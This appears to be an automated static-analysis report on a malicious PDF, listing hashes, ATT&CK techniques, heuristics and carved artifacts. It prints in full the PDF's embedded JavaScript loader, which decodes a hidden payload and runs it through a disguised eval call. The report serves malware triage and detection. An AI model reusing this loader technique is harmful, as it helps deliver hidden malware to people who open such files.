Malicious PDF — malware analysis report

Static analysis result for SHA-256 c74a7b550f29751b…

MALICIOUS

PDF

5.1 KB First seen: 2026-05-08
MD5: 5310d92ffd1f077ae8dad3b96e55298f SHA-1: 38d339e2869595c864e871052138c4394bb31485 SHA-256: c74a7b550f29751b9ee4ff96806f229a830c6c1d05fc72eba4a699856dff418f
76 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains embedded JavaScript and an embedded binary file. The JavaScript stream is likely responsible for executing or extracting the embedded file, which is a common technique for delivering secondary payloads. The presence of these elements strongly indicates a malicious intent, likely to download and execute further malware.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0013.bin pdf-embedded-file PDF EmbeddedFile object 13 at offset 0x425 108137 bytes
SHA-256: 46ee181080eb376e5fa451ffa7a1fdb6d8de730ec7d96fc0a68d6be7fc6d33e4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
255 of 255 identifiers look randomly generated (e.g. 'wH0K1zfy6Er94B1C1wH0K1zfy6Er94B1C2wH0K1z') — consistent with name-mangling obfuscation. Carved artifact contains 97 long base64-like blob(s).
javascript_obj0008_000.js pdf-javascript-stream PDF /JS object 8 at offset 0x1ED 230 bytes
SHA-256: 30730f7211a4326508ddb42f6ade15490f8aedd18900cefc39ff128ab006862e
Preview script
First 1,000 lines of the extracted script
zx1=this.getDataObjectContents("clown");zx2=util.stringFromStream(zx1, "utf-8");zx3="";for (i=0;i<zx2.length;i +=17){   zx3 +=zx2.charAt(i);}zx4="http://e"+"val/query?a=exemple&b=2";zx5=util.crackURL(zx4).cHost;this[zx5](zx3);